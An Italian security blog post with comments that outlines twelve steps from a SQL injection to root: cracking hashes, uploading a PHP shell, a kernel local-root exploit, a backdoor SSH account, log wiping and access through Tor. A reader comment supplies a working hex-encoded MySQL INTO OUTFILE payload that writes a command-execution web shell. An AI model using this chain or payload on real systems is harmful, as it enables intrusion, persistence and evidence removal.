Ricevi gli aggiornamenti nella tua email:




mar
10th

Da Sql-injection a Root in 12 Passi

Autore: Angelo Righi | Hacking

Un sistema di sicurezza è forte quanto l’anello più debole. Trovare un punto debole e sfruttarlo in modo adeguato può portare alla sconfitta totale del sistema di sicurezza stesso.

Un piccolo bug in una web-application può spalancare le porte ad una compromissione più profonda del sistema. Il pirata, una volta ottenuto l’accesso ad un sistema, può attaccare una rete dall’interno, trovare e sfruttare relazioni di fiducia e penetrare sistemi collegati altrimenti irraggiungibili. Per questo motivo la sql-injection e gli altri bug delle web-application non dovrebbero essere sottovalutati: si rischia un devastante effetto domino.

Un interessante documento reperibile su Milw0rm, “From Boot to Remote Root” illustra in modo magistrale questo processo.

Prima di proseguire è bene chiarire che un attacco sql-injection consiste nello sfruttare una mancata validazione dell’input fornito dall’utente alla web-application. Sfruttando questo varco il pirata ha la facoltà di inserire codice Sql e sovvertire la logica predefinita, forzando il sistema a piegarsi alle proprie volontà. Sql è il linguaggio utilizzato per interrogare le basi dati. Sovvertendo la logica di questi script è possibile anche reperire le password (cifrate) memorizzate nel database stesso. Si tratta di una delle più diffuse tecniche dihacking degli ultimi tempi.

Vediamo i punti salienti dell’attacco:

  1. Viene identificata una sql-injection in una web-application
  2. Tramite questo bug si identificano gli utenti e si prelevano gli hash delle password
  3. Si cracca la password e si accede al pannello di controllo come admin
  4. Upload di una shell php come C99 per interagire col sistema
  5. Scalare i privilegi, ottenere quelli di root per il controllo totale
  6. Si identifica il tipo di sistema operativo: nell’esempio RedHat Linux 5, kernel 2.6.22
  7. Si cerca un exploit locale: Linux vmsplice Local Root Exploit
  8. Lo si carica sul sistema remoto, si compila e si esegue
  9. Si ottengono i privilegi root: controllo assoluto!
  10. A questo punto si aggiunge un utente ssh per accessi successivi (backdoor)
  11. Si ripuliscono i log e le tracce dell’hackeraggio
  12. Gli accessi successivi vengono effettuati con l’utente backdoor tramite Tor

Tutto questo a causa di una maldestra gestione dell’input utente!


Altri articoli:

A Caccia di Sottodomini con Knock
Un volta identificato un obiettivo, l’hacker ha la necessità di trovare un punto debole, un punto...

PillolHacking.Net: I Migliori Articoli di Marzo 2009
Anche questa mese propongo l'elenco di quelli che a mio avviso sono stati i migliori articoli di PillolHacking.Net...

SQL-Injection in Joomla DigiFolio Component 1.52
Il componente Joomla "DigiFolio" versione 1.52 è vulnerabile ad un attacco SQL-Injection. DigiFolio...

E’ craccabile una rete wireless protetta da WPA/WPA2?
La debolezza del protocollo WEP è assai nota. Per chi volesse cimentarsi nel cracking della propria...



Se vuoi essere sicuro di ricevere tutti gli aggiornamenti di PillolHacking gratuitamente nella tua email, iscriviti inserendo il tuo indirizzo qui sotto:


10 responses. Wanna say something?

  1. TroUblE
    mar 11, 2009 at 09:27:05
    #1

    Wow! Come si fa a vedere se un sito è affetto da questo bug?

  2. Angelo Righi
    mar 12, 2009 at 15:17:40
    #2

    Analisi dei sorgenti, fuzzing, a manina… Argomento buono per un articolo di approfondimento. Grazie x l’idea ;)

  3. TroUblE
    mar 12, 2009 at 15:35:54
    #3

    Olè Olè! Figurati :D

  4. Signorx
    mar 14, 2009 at 12:33:38
    #4

    Ho letto l’articolo su milw0rm molto interessante, posso chiederti che siti visiti abitualmente per tenerti aggiornato?

    ciao grazie

  5. Angelo Righi
    mar 14, 2009 at 15:33:24
    #5
  6. Roc
    mar 24, 2009 at 21:22:53
    #6

    :P ottimo articolo..

  7. Angelo Righi
    mar 26, 2009 at 21:21:31
    #7

    @Roc: grazie ;)

  8. evilsocket
    feb 22, 2010 at 13:06:02
    #8

    I passaggi dal 2 al 4 sono inutili :P

    Tramite il costrutto MySQL (e corrispettivi MSSQL, ecc ecc) :

    SELECT ‘testo’ INTO OUTFILE ‘percorso del file’

    si può creare un file (dentro una directory scrivibile ovviamente) con del contenuto arbitrario, ad esempio può tornare utile :

    SELECT ” INTO OUTFILE ‘/htdocs/sito.it/www/shell.php’

    Ovviamente nel caso in cui le magic quotes fossero attivate, le stringhe possono tranquillamente essere codificate in esadecimale per aggirare il problema degli apici, di conseguenza la precedente query diventerebbe :

    SELECT 0x3c3f70687020706173737468727528245f4745545b27636d64275d293b203f3e INTO OUTFILE 0x2f6874646f63732f7369746f2e69742f7777772f7368656c6c2e706870

    In questo modo avremo una shell a prescindere dal tipo di web application che stiamo exploitando (dato che non tutte le webapp danno la possibilità di uppare file php) e senza dover “faticare” per crackare eventuali hash della password dell’amministratore.

    Un altra funzione molto interessante di MySQL è la LOAD_FILE ;)

  9. evilsocket
    feb 22, 2010 at 13:07:53
    #9

    opz, nella prima query wp mi ha segato il codice php, cmq era un semplice

    passthru($_GET['cmd']);

    ^^

1 Trackback(s)

  1. apr 5, 2009: PillolHacking.Net: I Migliori Articoli di Marzo 2009 | BlogTecnico 2.0

Post a Comment